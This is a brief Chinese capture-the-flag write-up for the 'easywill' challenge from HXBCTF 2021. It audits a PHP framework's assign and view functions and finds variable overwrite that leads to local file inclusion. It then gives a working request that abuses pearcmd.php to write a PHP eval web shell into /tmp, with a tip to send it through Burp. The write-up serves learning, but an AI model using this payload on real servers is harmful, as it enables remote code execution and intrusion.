[HXBCT_2021]easywill
这题index上给的代码很短,需要下载框架源码,自行修改审计。我没找到2.1.5的源码,下了个最新的。这题比赛的时候看了到assign函数还以为是个模板注入的题以为要爆破模板变量名就没去整了。还是对调试这种不太熟吧,下意识不想审计框架的函数调用
下面开始审计,修改app/controller/IndexController.php 的内容与题目给出的一致
先跟踪assign函数
assign只是做一个赋值的作用 传递给view当中
再看view函数
可以看到存在变量覆盖以及文件包含
开启debug可以看到函数调用栈,这里测试传参为&name=cfile&value=1
写入shell到tmp目录,这里为什么包含pearcmd.php的原因详见:利用pearcmd.php从LFI到getshell_feng的博客-CSDN博客
1 | /?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/test2.php+-d+man_dir=<?eval($_POST[0]);?>+-s+ |
记得用burp 浏览器直接打的话<>会被url编码,写马就不解析了
转载(没有源码,只能下下来了):